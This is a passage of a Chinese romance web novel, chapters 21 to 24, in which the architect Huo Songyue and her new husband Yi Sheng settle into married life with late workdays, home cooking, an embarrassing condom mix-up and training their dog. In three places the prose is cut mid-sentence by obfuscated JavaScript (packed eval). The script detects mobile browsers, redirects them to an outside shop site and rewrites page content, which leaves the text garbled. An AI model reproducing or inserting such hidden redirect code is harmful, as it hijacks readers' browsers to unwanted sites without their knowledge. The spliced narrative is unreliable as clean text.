“易嵊,我得回一下我的工作室。” “工作室?在哪?” “我家,我的卧室楼上,是我自己的工作室。” 司机得到易嵊示意,平稳地将车子改道。 “是忘带什么了吗?” “导师今天把青运会的地基图寄过来了,我想尽早看一下,然后早点和老师交流一下思路。” “青运会?” “嗯?怎么了?” “没什么,只是RC恰好是承建方。” “RC?你们的业务那么广??” 易嵊淡淡嗯了声,“RC近年在主攻的智能建筑板块有了很大突破,比较符合本次青运会的科技主题,便接下了这个橄榄枝。” 火颂月似懂非懂地点点头,又刷新了对易嵊旗下产业的范围的认知。 她以前只是听倪桉提到过易嵊是白手起家,刚开始做的是智能家居那方面的,没想到这才短短几年,他的野心已经蔓延到了各行各业,承接的项目也都是业内公认的要务。 “哎呀呀,听起来我好像嫁了个不得了的人物呢!” 少女弯着眸子揶揄,“那我可要把你看紧了!” 她的彩虹屁信口拈来,易嵊无语地睨她一眼。 车子很快在观海别墅前坪停下。 刚刚还说要把他看牢的少女毫不留恋地跳下车,并说晚上会联系他来接自己。 可等到暮色四合,冷月高挂。 易嵊在办公室看项目报告看到了十点,也没等来那个小没良心的过来联系他。 21. 第 21 章 火颂月拿到图纸后就在自己的藏宝阁里理思路,并顺手用积木搭初版模型来辅助修正草图。 等她回过神来一看时间,已经半夜十一点半了。 她拖着疲惫的步伐坐电梯回卧室习惯性地就洗漱上床,等昏昏沉沉地在床上摸到手机,才像是想起了什么一样,解锁了手机。 在一堆未读消息里,下午六点多易嵊发了一条消息询问要几点来接她回家。 回易嵊的家和回家,是一个对于现在的她来说,还无法调整好的认知。 按灭手机,火颂月拿起床头柜上放着的玉镯看了好一会儿,才重新带好镯子翻身起床。 既然下午答应了他要回去,她没道理失约。 拿着包包下楼的时候,火颂月撞上了在客厅偷偷抽烟的火臻。 母女二人对视一眼,火臻眨了下眼,笑着把最后一口抽完,按灭烟头:“哎呀,这么晚还没睡?” 火颂月环住胳膊,轻哼:“好你个火臻女士,急着让我住到易嵊那边是想给自己光明正大抽烟找机会吗?!” “三不五时抽一根,还都被你抓到了!你比你爸爸还唠叨!”火臻尴尬地笑了笑,“这都几点了还要回去?” 火颂月故作深沉地摇摇头,“没办法,有家室的人了。” “确实是有家室的人了,”火臻看着她手上的羊脂白玉,丹凤眼带着揶揄,“这镯子也就易嵊肯花大价钱买来送你了。当时我出了中七想给你拍个生日礼物结果没拍到,被一个双倍的匿名买家抢走了,没想到兜兜转转还是到了你这里。” 火臻平时就喜欢收集点玉石类的饰品,遇到喜欢的也会花大价钱去拍,基本很少有拍不到的情况。 没想到这个镯子居然…… 火颂月抬手又看了看:“这个?这是易嵊姑姑送我的。” “哦?那个易维芸?” 见火颂月应下,火臻稍稍有些意外,但也没多做询问,“我让司机送你回去,少熬点夜吧工作狂小姐,是家里的男色留不住人吗?” “妈妈!” 想到了火臻今天早上跟她说的那些话,火颂月立马烧红了耳尖,“不跟你说咯!你早点休息,我回去了!” 赶到东山岛苑,大厅里的古董挂钟铛的一声敲了一下。 已经十二点三刻了,火颂月放下包包,直接进了衣帽间换上睡衣,才从衣帽间回到主卧。 卧室里只有暖橙的地灯亮着,火颂月蹑手蹑脚地上床。 看到易嵊熟睡的侧脸正是朝着她的方向,火颂月犹豫了几秒钟,眨巴着眼睛钻进了男人的怀里,像是抱大型陪床玩偶那样抱着易嵊的腰。 易嵊浅眠,早在火颂月进衣帽间的时候他便醒了过来。 看了一眼床头的电子时间,他安静地盯着衣帽间的方向心情有几分复杂。 白天在姑姑家的经历算不上愉快,她回程的路上又突然“借口”回家,易嵊本以为她不会回来了。 没想到都过了十二点了,她居然像归家的灰姑娘一样冒了出来,甚至还主动钻进了他的怀里。 怀里的少女香香软软的,无论是她丝滑的肌肤还是毛茸茸的长发,又或者是她时远时近摸不清的依赖感,都让他有些上瘾。 他眯眸看了眼少女,无声叹了口气,然后收紧手臂,像是吸猫一样吻了吻她的发顶。 “易嵊?你没睡?!” 少女的身子骤然变得僵硬,并试图从他怀里抬头,易嵊轻轻控住她的后颈,压着嗓音应道:“困,睡吧。” “噢。” 少女打着哈欠应了声,然后明目张胆地抱着“大玩偶”闭眼睡去。 火颂月怕热,到了后半夜受不了易嵊身上的热度,不由自主地开始往床外挪。 易嵊感受到怀里空了,蓦地睁开眼睛。 十一点上床的时候,他感觉床垫的温感有些低,顺手就把温度重新调回自己的舒适区。 刚刚火颂月回来的时候,他还没意识到这些日常小细节的变动。 幽深失眠的夜里,男人盯着少女沉睡的侧颜看了好一会儿,才抬手将床垫温度调低,并重新将少女揽进了怀里。 都说养成一个习惯要二十一天,为什么他只抱着老婆睡了不到两次,就有点戒不掉了呢? 就这样两个人的作息时间完全错开了。 清晨易嵊去上班前,火颂月迷迷糊糊地说自己今天还要回工作室。 当天晚上,火颂月照旧没有在晚上十点前回来,甚至到了凌晨一点,易嵊也没看到她的影子。 男人看了眼时间,收起腿上的笔记本电脑,有些郁闷地准备躺下。 真丝睡衣下暖不热的冰凉床垫每一分每一秒都在提醒着他,有人强势入侵了他的生活改变了一些事,却又像是风一样,有些抓不住。 他不喜欢这种失控的感觉,或许他该做点什么把这只不着家的小猫给钓回来。 次日在RC开完会,易嵊打开手机还是没有收到火颂月的消息,却从简修仁那边得到了自己老婆的最新动态。 简修仁:【弟妹怎么跟你一样是个工作狂啊?怎么凌晨三点钟还在发朋友圈找资源?】 朋友圈? 易嵊点开搜索,发现自己并没有火颂月的微信好友,甚至用她的手机号还搜不到她的微信。 微信对他来说只是一个可有可无的通讯工具,但是这一刻,他突然意识到自己好像完全没有被火颂月主动拉入到她的朋友圈。 连简修仁都有她的微信? 胸中有几分烦躁,易嵊随手给简修仁回了个消息:【?】 简修仁几乎秒回:【一张朋友圈截图.jpg/不对啊,你们俩这是没有夜生活吗?】 简修仁:【需要我传授一些经验给你吗?】 易嵊黑着脸屏蔽了简修仁的消息。 看了眼时间,他在心中估算着火颂月的睡眠时长,确认她应该醒着后才发了条短信过去:【在找地皮?】 过了会儿,火颂月打了个电话过来,声音懒洋洋的:“易嵊,你怎么知道啊?” 她好像在画图,听筒里时不时传来铅笔沙沙的声音。 易嵊看着桌面上的爱心珊瑚摆件,淡声道:“简修仁看到你发的朋友圈了。找地做什么?” “我手上这次有五个项目,刚刚把最小的那个第一版草稿画出来了,我不喜欢看3D图,光搭积木没感觉,就想着自己弄一块地自己倒腾着。” 火颂月素来没什么奢靡的物欲,吃穿用度都是妈妈安排什么她用什么,唯一烧钱的爱好就是买地皮造景。 建筑风土人文,一些列能被考量进设计稿的细节她都要落到实处来对比。 易嵊嗯了声:“具体的条件你微信发我,我看看我手上的空地有没有符合条件的,借你玩玩。” “借我?” 火颂月在电话那端浮夸地惊叹了一声,“易老板,财大气粗哦!” “等需要重新买的时候你再夸也不迟。” “嘿嘿,我马上发你!么么!” 挂断电话后不到两分钟,易嵊就在微信通知里收到了一个好友申请。 他点下同意,火颂月发来的第一条消息是:【猫猫震惊.jpg】 Luna:【我们居然没有微信好友?】 Luna:【易老板不会生气吧?我不是故意的!】 易嵊:【需求。】 Luna:【word文档,大概就这点。谢谢金主爸爸~】 易嵊接收了文件,仔细阅读后给路明拨了个电话:“苏市那几块空地皮的资料去档案室调出来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128382|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>路明:“好的,需要给您先发一份电子版吗?” 易嵊:“不需要。” 认真选好了基本符合条件的几块地,易嵊回复火颂月:【有三处备选的地皮,晚上把图纸带回家给你选。】 Luna:【有电子版图纸吗?】 易嵊;【没有。】 略显蹩脚的借口,好在对方没有起疑。 Luna:【好滴/爱心】 Luna:【但是我不确定几点能结束,要是太晚了,你累的话就先休息~/爱心】 看着聊天框里的两个爱心,易嵊扣着手机背板弹了弹,点开了火颂月的朋友圈。 她的朋友圈很热闹,一些生活里很小的事情,比如一个五角星形状的光斑都会被她很开心很珍惜地收集起来。 偷窥着火颂月的朋友圈,像是在偷窥着一汪闪闪发光的宝藏。 有些人的热烈,一旦感受过就不想再失去,也不想和别人分享。 向上滑的指尖停留某天的一段文字上,这段文字夹杂在前前后后铺满的九宫格里显得有些突兀。 这天的火颂月没有发任何图片只发了一段文字:“如果用后半生全部的运气去开一个盲盒,会开出来什么呢?” 那个日期是他们领证的日子。 评论区里很多人评论,少女却破天荒的没有回复一条。 她好像很茫然。 易嵊退出她的朋友圈,眸光沉沉地盯着桌上那个珊瑚摆件。 傍晚归家,管家前来询问易嵊晚餐想吃什么。 脚边不知何时冒出来一只狂摇尾巴的毛绒脑袋,易嵊俯身拍了拍莲雾,注意到火颂月没回来,他随口应了声:“辣的。” 闻言,管家小心翼翼地瞄了眼易嵊的脸色:“好的先生。” 出餐的时候,陈姨看着满桌子的高辣食物,默默在心底记下了易嵊的饮食偏好。 易嵊的口味居然和爱甜如命的火颂月完全相反。 晚餐吃到一半,玄关传来哒哒哒的高跟鞋声,不一会儿少女的声音比人先一步进到餐厅。 她打了个大大的喷嚏,声音里带着几分惊讶:“今天的晚餐好像是川湘口味?!” 闻声,易嵊放下碗筷,管家立马给火颂月拉椅子加餐具。 看着满桌子主色偏红的菜品,火颂月吞了下口水:“易老板,你口味有点重嗷!” 没想到火颂月突然这么早回来,易嵊垂眸,看着碗里的辣子鸡,有几分不自在:“偶尔。” “我来试试易老板的口味!” 易嵊还没来得及阻止,火颂月已经吃下了眼前的辣子鸡。 结果鸡肉入口没嚼两下,她便面脸通红地看着易嵊:“好辣!” 易嵊无奈地拿出餐巾纸接在她唇边:“吐出来。” 少女泪眼汪汪地看他一眼,吐掉辣子鸡后,乖乖就着易嵊的手喝他递来的牛奶解辣。 压下那股子又热又痛的感觉,火颂月轻轻吐了下舌尖:“我回来的好像不是时候,这顿晚饭不太适合我……” 易嵊叹了口气:“想吃什么?” 火颂月捧着牛奶杯,思索片刻:“甜的!大脑需要糖分!” “苹果派?” “不要,吃过你从南法带回来的苹果派后,我已经不想凑合吃别的了!” “那就吃那个。” 火颂月不解地眨巴着眼睛,便见易嵊挽起袖子走向厨房。 “厨房有存货吗?” 少女疑惑地看了眼管家,对方笑着摇了摇头:“没有,但是太太您可以吃到现烤的。” 老管家半遮半掩的话让火颂月好奇地跟进厨房,然后就看到了穿着小立领衬衫和西装裤的高大男人把围裙挂在了自己脖子上。 “易嵊?你?会做饭吗??” 22. 第 22 章 易嵊熟门熟路地从冰箱里取出鸡蛋、苹果、牛奶、面粉和白糖,摘下银戒指放在料理台上:“你好像一点也没有主动了解过我。” 这话听起来带着几分埋怨的意味,可他长眸低垂,神色认真地洗着水果,又好像只是单纯陈述一下事实。 火颂月把玩银戒指的动作顿住,有些愧疚地垂下了眼睛。 领证至今,她完全没有做好身份的转变,一些我行我素的做派仍旧和单身的时候一样。反观易嵊,好像从确认要做她的男朋友之后,就一直默默在为她提供支持,已经越过了可以用“利益”来解释的范畴。 她趴在流理台对面,多情眼巴巴地望着易嵊,乖得不像样子:“易老板家大业大,我从今天开始慢慢了解也不迟~” 闻言,男人淡淡睨她一眼,未置可否。 他从刀架里选出一把合适的刀子,一手控住色泽红亮的陆奥苹果轻旋,另一只手抵住刀尖稳稳地将果皮削下。 易嵊的手很大,手指匀称修长,骨节分明,转着苹果的时候指骨连着掌背的青筋忽隐忽现,极具力量感却又稳而精准。 火颂月自认不是手控,却也对这样的手欲罢不能。 第一个苹果削了一半后,易嵊将未削皮的另一半切成六只有着红色耳朵的兔兔苹果,递给眼巴巴的火颂月:“先垫一下。” 压花白瓷碟里的红色兔耳朵苹果可爱又诱人,是个小姑娘都拒绝不了,更不要说火颂月这种苹果狂热爱好者了。 她叉起一切苹果,一边吃一边继续观察着易嵊,不知道为什么,她总觉得这个男人好像很知道怎么从细节上拿捏她。 陆奥苹果和火橘色的木瓜分别被放进榨汁机后,易嵊熟练地把鸡蛋牛奶砂糖混合打泡。 等榨汁机一停,他利落地取出木瓜汁倒入骨瓷冰淇淋杯中,又加入牛奶搅拌好盖上盖子递给火颂月,顺手取走了她在偷尝的苹果酱:“小馋猫,木瓜撞奶,等三分钟。” 被抓包偷吃,火颂月耳朵一热,乖乖地拿着勺子等撞奶成型,眼睛还像被黏住了一样紧紧地盯着那杯苹果酱:“是苹果酱先动的手,它实在是太香了!” 本以为易嵊就算会下厨也只是会一点皮毛,可是这个调配好的苹果酱从打开榨汁机的那一刻便把火颂月的馋虫勾出来了。 原来易嵊的会做饭,居然这么专业啊! 易嵊淡淡看她一眼:“等会儿都是你的。” 烤箱预热好,易嵊将准备好的蛋挞液和苹果粒注入蛋挞皮,定好时间便回到微波炉前拿出了小平底锅。 大掌轻轻从锅面一拂而过,他便对温度了然了,然后拿着调好的原浆又稳又准地倒出一个小圆饼。 他倒浆的时候上半身微躬,浓密的睫毛低垂着,神情认真得好像在做世界上最重要的事。 火颂月看得有几分入迷,直到男人帮她将木瓜撞奶的盖子揭开,她才意识到自己居然被下厨的易嵊给蛊到了! 白色的原浆在小火的烘烤下渐渐成型变成松软可口的黄色松饼坯。 一个个热乎乎圆软软的小饼出锅后被刷好苹果酱叠好,几分钟下来,一摞色香味俱全的苹果酱松饼塔便摆到了火颂月面前。 木瓜撞奶甜润可口,火颂月舀了一勺递到易嵊嘴边:“请易大厨品尝一下自己的成果!” 易嵊擦干手,俯身含住勺尖,布丁融化在嘴里,浅淡的甜味倒是刚好合他胃口。 他把果酱推到火颂月手边:“觉得不甜可以自己调。” 火颂月乖乖应下,迫不及待地尝了一口苹果松饼。 香软的蛋饼裹着酸酸甜甜的果酱一瞬间就击中了火颂月的心房,她不由得轻轻闭上眼睛,看上去享受极了。 易嵊一边做一边投喂,把食物制作的时间拿捏的非常稳,等火颂月吃完一个,下一个刚刚做好,精准的就像是料理机器。 三份甜品投喂结束,火颂月像一只餍足的小猫,托着下巴笑盈盈地看着易嵊:“易老板,我好像捡到了宝藏~” 彼时男人坐在流理台前的高脚凳上单腿支地,宽肩窄腰长腿,优越的身材比例一览无余。 无论是美食还是眼前的男色,都让火颂月控制不住的心动。 她拿着一个蛋挞喂到易嵊嘴边,等到他俯身来咬的时候,又忽地将蛋挞撤走,倾身吻了上去。 突如其来的吻让男人愣了一瞬,而后迅速反客为主。舌尖掠过那颗锋利的小虎牙,被扣住后颈的少女抖了一下,可怜的蛋挞在交缠的呼吸声里跌进盘里。 深长的一吻结束,火颂月耳尖红红地趴回桌面,无声碰了下自己的小虎牙。 她发现易嵊接吻的时候好像很喜欢用舌尖勾过她的虎牙尖,可她自己试起来却只能感受到刺痛,完全没有他带来的那种酥酥麻麻的感觉。 她不理解易嵊这种贪痛的行为,却很享受他带来的侵占感很强的亲密接触。 漂亮的多情眼开心到发亮,火颂月仰脸望着易嵊:“上得厅堂下得厨房,易老板你还有什么我不知道的惊喜?” 易嵊意味深长地看她一眼:“惊喜是奖励给按时归家的乖孩子的。” 火颂月抓住机会卖乖,又喂了一个酥酥甜甜夹心蛋挞给他:“那我每天都回来,什么时候可以解锁苹果派?” 按照易嵊今天的厨艺发挥,火颂月觉得自己可以期待一下他亲手做的苹果派。 “看你表现。” 易嵊就着火颂月的手尝了一口,被齁得轻轻皱了下眉心。 他果然不是很喜欢甜的,不过好在她吃得开心。 “哦……” 火颂月郁闷地应了声,乖乖和易嵊一起解决掉余下的美食。 等到吃饱喝足,火颂月才后知后觉地想起了自己回来的目的。 她慢吞吞地起身,正准备开口,倏地看到窗外灯带映衬下的半环形后墙。 易嵊的这座岛苑布局是一圈漂亮规整的椭圆,后院的弧形之间连着半山林脚,取义方圆有出,设计非常精巧。 吸引火颂月注意的是山脚和两侧的方圆围墙组成的地域恰好神似青运会里她要找的那处地基图。 她走上露台仔细看了看,确认相似度极高之后心下更加惊喜。 好像不用特地跑到别处去找地了,眼前不就有吗? 只是这片地是易嵊自己常住的家,拿来练手的话势必会把漂亮的院子弄得推平重建,不知道他愿不愿意。 纠结了一小会儿,少女揣着心事回屋。 半路上,陈姨将她拦下,然后递给了她一个纸袋子,并神神秘秘地附耳道:“小姐,这是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145165|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太让我准备的,您挑好用的用。” 说完这话,陈姨便看到易嵊过来,意味深长地看了眼火颂月,便匆匆退下。 火颂月心里想着地的事,一时没反应过来陈姨说的是什么。 她茫然地打开纸袋,看着里边整整齐齐码着的各种尺寸各种口味各种款式的避.孕.套,整个人石化在原地。 要疯了!火臻女士到底在搞什么?!! 注意到少女的脸色变白又变粉,易嵊端着水杯走过来:“怎么了?” “没!!” 火颂月瞪大了眼睛,手忙脚乱地将纸袋子藏到背后,心跳快得要宕机,“一些……” 她艰难组织了一下语言,笑得有些僵硬:“一些盲盒。” 踩在她知识盲区的小方盒,可不就是盲盒吗? 虽然在超市收银台前见过不少,可她哪里知道这玩意这么多品种?! 手里揣着一包定时炸弹,眼前站着一个不定时引爆器。 火颂月攥紧了纸袋子,侧身往二楼卧室走:“我有点热,我先去洗个澡!” “不看地基图了吗?” “等下来看!” 话落,少女便步履匆匆地抱着“盲盒”上了旋转楼梯,那背影看上去颇有几分落荒而逃的意味。 回到卧室,火颂月找了好几个地方想要把那袋东西藏起来。 可卧室的装修过于简约,没有合适的地方塞这么多东西,找了一圈,她最终把东西临时放在衣柜里,等明天出门的时候带出去。 藏完这袋炸.弹,她长舒一口气,回到浴室洗了个澡后才去书房找易嵊商量选地的事。 本以为他不会同意自己在他家后花园胡闹,没想到男人居然毫不犹豫地就答应了下来,还顺手将家里的地基图给她找了出来。 事情进展的意外顺利,火颂月顺势拿着图纸在易嵊的书房开始构思。 等到易嵊来敲门提醒,火颂月才意识到已经十一点了。 “我先去洗澡,你也别太晚了。” “好滴。” 少女专注地盯着图纸修修改改,漫不经心地应掉易嵊的话。 等到思路理顺后,她才后知后觉地意识到易嵊要换洗的话肯定会进衣帽间。 那袋“盲盒”她好像没注意放在谁的衣柜里了!! 心底的警报拉满,火颂月揣着惴惴的心跳回到卧室,听到浴室里的水声,她稍稍松了口气,右拐进衣帽间。 好在那袋东西还安安稳稳地放在原地,不过柜子里挂着的都是易嵊衣服。 火颂月心惊胆战地拿出袋子,踮着脚勉力要把袋子塞进更高的柜子里,完全没注意到身后浴室的水声停了。 “要帮忙吗?” 带着沐浴露木质香氛的身体骤然笼在身后,男人低哑的声音在此刻无异于平地惊雷,吓得火颂月一个激灵。 哗啦啦—— 袋子里东西不期然地散落出来,兜头砸下。 易嵊眼疾手快地护住火颂月,并顺手捏住了一盒。 “螺旋水蜜桃味的‘盲盒’?” 看着被自己圈在怀里和柜门之间的少女无措地转着滴溜溜的大眼睛,易嵊断眉轻挑,笑得有些意味深长。 “我以为你最喜欢的是苹果味。” 23. 第 23 章 “你不是最喜欢苹果味吗?” 属于易嵊的气息铺天盖地地侵略着火颂月的一呼一吸,她只觉得血液倒流,周围什么声音都听不到,只能听到心脏不受控制地狂跳。 喜欢? 不喜欢? 不对不对……问题的关键不是这个…… 火颂月大脑完全宕机:…… 她表情僵硬地眨了下眼睛,然后慌乱地颤着眼睫移开视线,试图从男人胳膊下边逃走。 无措地像是突然误入了不该出现在这个时间点的暧昧事件。 她可以像小狗那样钻进他怀里蹭蹭,可以热络地主动来索吻,也可以容忍他不够温柔的亲昵,但是也仅此而已。 就像一杯已经装满水的杯子,她在心里留给他的容量,仅此而已。 易嵊无声叹了口气,像拎小猫一样把人拎回来,攥着她轻微挣扎的手一起按了下衣柜旁的控制屏。 最上边的柜子缓缓外伸然后下滑到二人面前,是和盥洗室一样的智能家居,怪不得可以做到直通天花板。 “看懂了?”易嵊拉起少女僵硬的手腕,把那盒水蜜桃盲盒塞回她掌心,“另外,我喜欢薄荷味。” 他语调平静,没有一丝暧昧的神情,一本正经得好像掉了一地的东西真的是普通盲盒。 一场猝不及防的乌龙就这么被易嵊坦然带过。 看着男人离开的背影,火颂月攥着手里的小方盒茫然蹲下把散落一地的东西重新捡回袋子里,在看到一盒薄荷味“盲盒”的时候,倏地愣在原地。 事情的发展好像都不在她的意料之中,可是,想象里的易嵊会做些什么呢? 火颂月突然意识到自己真的一点也不了解易嵊。 面对本家人的时候,他是冷漠锐利的,完全符合外界的传闻;可面对她的时候,他像藏起了爪牙的孤狼,不会违背她的意愿伤害她。 她不是他的猎物,那她是什么呢? 她不知道,可她此刻有了想了解他的冲动。 火颂月将薄荷味的放在纸袋最上层,然后按下控制屏把柜子还原。 衣帽间的一切都恢复如初,可少女心底的藏宝阁内却悄然多了一块属于易嵊的柜子。 回到卧室时,易嵊正半靠在床头敲笔记本电脑,注意到她出来,男人也只是淡淡收回视线,然后把笔记本收来了躺下。 空气中弥漫着几分诡异的僵硬和尴尬。 火颂月磨磨蹭蹭躺下,等了一会儿察觉男人并没有任何动作,她侧着身一点点靠近易嵊,轻轻抱住男人的腰身。 易嵊并没有如往常那样回抱回来,只是垂下眸子,没什么表情地跟她对视。 “火颂月,你把我当什么了?” 火颂月从男人如海的长眸里看到了几分从未看到过的疏冷,始作俑者是她。 二人紧紧贴着,她却忽然觉得他跟自己拉开了好远的距离。 她久久地愣了一会儿,然后就听男人冷冷道:“招来呼去的工具人?没有感觉的安抚玩偶?” 火颂月收紧手臂,像一只撒娇示好的小猫那样轻轻蹭他臂弯:“那我给你当安抚玩偶好不好?” 轻轻软软的声音落尽深沉的夜,像一片羽毛落入深潭,波纹一圈圈漾起,却始终浮在表面不入其中,自然无法窥到深潭中的暗涌旋涡。 男人并没有立刻说话,只是任由眼底的火渐渐烧到少女露出茫然的神色。 她忽然有些无措,而后轻呼着,猝不及防被男人抱到腿上。 男人强势又沉默地用彼此无法忽视的感知来宣告此刻的危险等级。 男人虽然躺着,可自带的危险气场无声从眼神的变化中溢散开,压得火颂月心跳惴惴:“安抚玩偶?” 少女羞得瞬间绷紧足尖,艰难地支着腿,想要隔开一点炽热坚硬的触感。 可她的腰身被易嵊控着,动弹不得,只能软下身,趴在易嵊胸前,亲亲他的下巴,含糊不清地哄他:“老公,我错了……” 闻言,易嵊眯眸,沉默地打量着她。 按在她腰际的大掌沿着一截截脊骨摩挲着向上,感受着掌心下的轻轻颤抖,最终停在她的后颈耳后,轻轻揉捏。 平日里像猫一样抓不住的少女此刻颤着睫羽,乖得好像可以对她做任何事。 即便这种乖巧也只是她情急之下做出的假意讨好,可却意外地抚平了他近日被翻出来的烦躁。 她这么聪明,肯定又在暗自庆幸多了一种拿捏他的方式。 但是没关系,如果是这种方式,他乐得被她拿捏。 敏锐感受到气氛的变化,火颂月试探着抚上易嵊作乱的手背,再次轻唤:“老公?” 这声老公叫得就比第一声要利落清晰。 易嵊轻抬断眉,淡淡嗯了声:“还不下去,是打算这么睡了?” 火颂月面颊绯红地戳他一下,声如蚊呐:“腿软……” “娇气。” 男人搂着少女的腰侧过身,将她放到床上后紧紧拢进怀里,没再动作。 火颂月被抱得有些燥热,刚想挣扎,便感受到男人滚烫的呼吸落沿着耳畔向下:“尽不了老婆的义务,就乖乖当安抚玩偶。” 闻言,火颂月果然乖乖不动了,好在智能床垫的温度一直调节在她舒服的范围。 到了后半夜,火颂月好像感觉到身侧空了出来,又迷迷糊糊地听到浴室传来水声。 次日,火颂月的项目就动工了。 两个人都是行动派,易嵊找来的施工方专业又高效,上午重整地基,下午设计稿需要的材料就陆续到了。 因为落地初稿无需特别细化还原,所以材料到货后火颂月便一边用无人机记录环景,一边即时现场调整。 少女一身蓝色束脚连体裤,搭一件棉麻防晒长袖,宽檐帽和墨镜下压着长长的鱼骨辫,在一座座葱茏高大的盆装绿化映衬下显得元气又可爱。 一整个下午,她都投身在设计稿的还原上,偶尔会回到遮阳伞下补水顺便吃点鲜切小兔子苹果。 她专注得完全顾及不到他人,直到裤腿被什么扯住,她才似有所感地分神去看,发现许久未见的莲雾。 小莲雾扯住她的裤脚,一边欢快地摇着尾巴一边往外拽。 火颂月俯身挠了挠小狗的下巴,余光注意到莲雾身后不远处的遮阳伞下不知何时出现了一道慵懒的侧影。 男人应该是刚下班,身上那件火颂月给挑的小立领衬衫还没换下。他安静地靠在竹椅中,修长的长腿随意交叠着,腿上放着一个笔记本电脑,专注地敲着键盘。可火颂月却敏锐地觉察到那盘鲜切小苹果已经只剩一块了! 拯救小苹果势在必行! 火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190442|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂月合上绘图本,牵着莲雾轻手轻脚地绕到易嵊身后。 看到对方拿起最后一块小苹果,她抬手拍了拍易嵊左肩膀,在男人把头转向左侧的时候,她倏地从右侧冒出脑袋,从易嵊手上叼走了最后一块小兔子苹果。 柔软的唇瓣擦过指尖,留下暧昧甜腻的唇膏印记。 火颂月咬着小苹果,多情眼弯成漂亮的月牙:“甜~” 易嵊垂眸,摩挲着指腹上黏上的唇膏,忽地挑着少女的下巴尖,在她唇间落下一吻。 吻完,他似回味一般扬起断眉:“确实甜。” 两个人的嘴巴动来动去,可把一旁的莲雾看得眼热了。 小狗哼哼唧唧地盯着他们,可它不敢和易嵊造次,只能巴巴地盯着火颂月。 火颂月被狗狗天真的眼神盯得脸上一热,把嘴巴里的果肉咽下去后,托腮半捂着脸看向易嵊:“那易老板有没有尝出来点别的?比如薄荷味之类的?” 易嵊的目光从少女的眼眸滑落至她柔软湿润的唇间,喉结轻轻滚动,就在他倾身准备再“尝”一次的时候,手机铃声不合时宜地响起来。 火颂月借机狡黠地逃脱男人的禁锢,见易嵊接起电话,她叉起一块小香蕉喂给小馋虫莲雾。 多日不见,莲雾身上的皮肤病差不多结痂了,那些散落的瘢痕分布在其余油亮深黑的短毛发中并不显眼。 它格外喜欢火颂月,一条油光水滑的尾巴几乎摇成螺旋桨,整只狗几乎都蹭到了火颂月怀里,还试图扒拉着少女的腿要往她编成发辫的卷发上蹭。 易嵊挂掉电话,看到的就是自己的狗像一块膏药一样几乎黏在了火颂月身上,而刚刚才拒绝了他的某人却丝毫不抗拒小狗的亲近。 “莲雾。” 男人收起手机,语调平静地唤了一声。 正在兴奋的莲雾回头望了他一眼,而后哼哼唧唧地伏到地上,眼巴巴地瞅着他,一看就知被训得很好。 火颂月知道杜宾聪明,但是没想到易嵊的狗服从性居然这么高。 他明明只是这么不咸不淡地喊了它一声,它却好像敏锐地感知到了主人的情绪。 火颂月揉着莲雾的脑袋,疑惑地看向易嵊:“怎么了?” 易嵊居高临下地看着莲雾,食指一抬,小狗便立马规规矩矩地端坐起来:“给它做做规矩,不然它就要把你当成玩具了。” “啊?玩具?它?” “过来。”男人朝火颂月伸手,然后把牛皮编制的牵引绳束好放到她掌心,“抬手。” 火颂月照做,莲雾没有任何反应,只是眼睛亮晶晶地朝她摇尾巴。 易嵊攥住火颂月的手腕,带她一起抬了下手,莲雾立马俯下身,露出脖子上的项圈。 一来二去,在易嵊松开手后,火颂月也成功让莲雾接受了自己的指令。 不过她没有给莲雾系上牵引绳,而是蹲下身揉着它的脑袋一边奖励小香蕉一边猛夸:“宝宝好聪明!乖乖宝宝多吃点!” 莲雾被挠得又想摊开肚皮,可是顶着易嵊的目光,它不敢乱动只能哼哼唧唧地摇着尾巴回应。 注意到这点,火颂月侧目看向易嵊:“凶巴巴的主人到底是嫉妒呢还是羡慕呢?” 闻言,易嵊眯眸,抱着胳膊居高临下地睨着她:“主人有的是办法得到自己想要的,你想试试吗?” 24. 第 24 章 男人眯眸俯身,大掌顺着少女漂亮的发辫向下,轻轻捏住她的下巴,而后夺走一个吻,“原来唇膏是薄荷味的,喜欢。” “易嵊!你偷袭!” “刚刚不知道是谁靠偷袭拿走了最后一切小苹果?” 斗嘴也斗不过易嵊,火颂月狠狠揉了一把莲雾的大毛脑袋。 不过提到那个小兔子苹果,火颂月从第一次看到就觉得有些意外的反差——易嵊这个看起来和萌不沾边的雅痞绅士,居然会喜欢把苹果皮削成可爱的兔耳朵样子。 第一次,火颂月还以为只是摆盘效果,不止一次,那就是个人喜好。 “易嵊,你喜欢小兔子吗?” “问这个做什么?” “你好像很喜欢把苹果削成小兔子,莫名很可爱。” 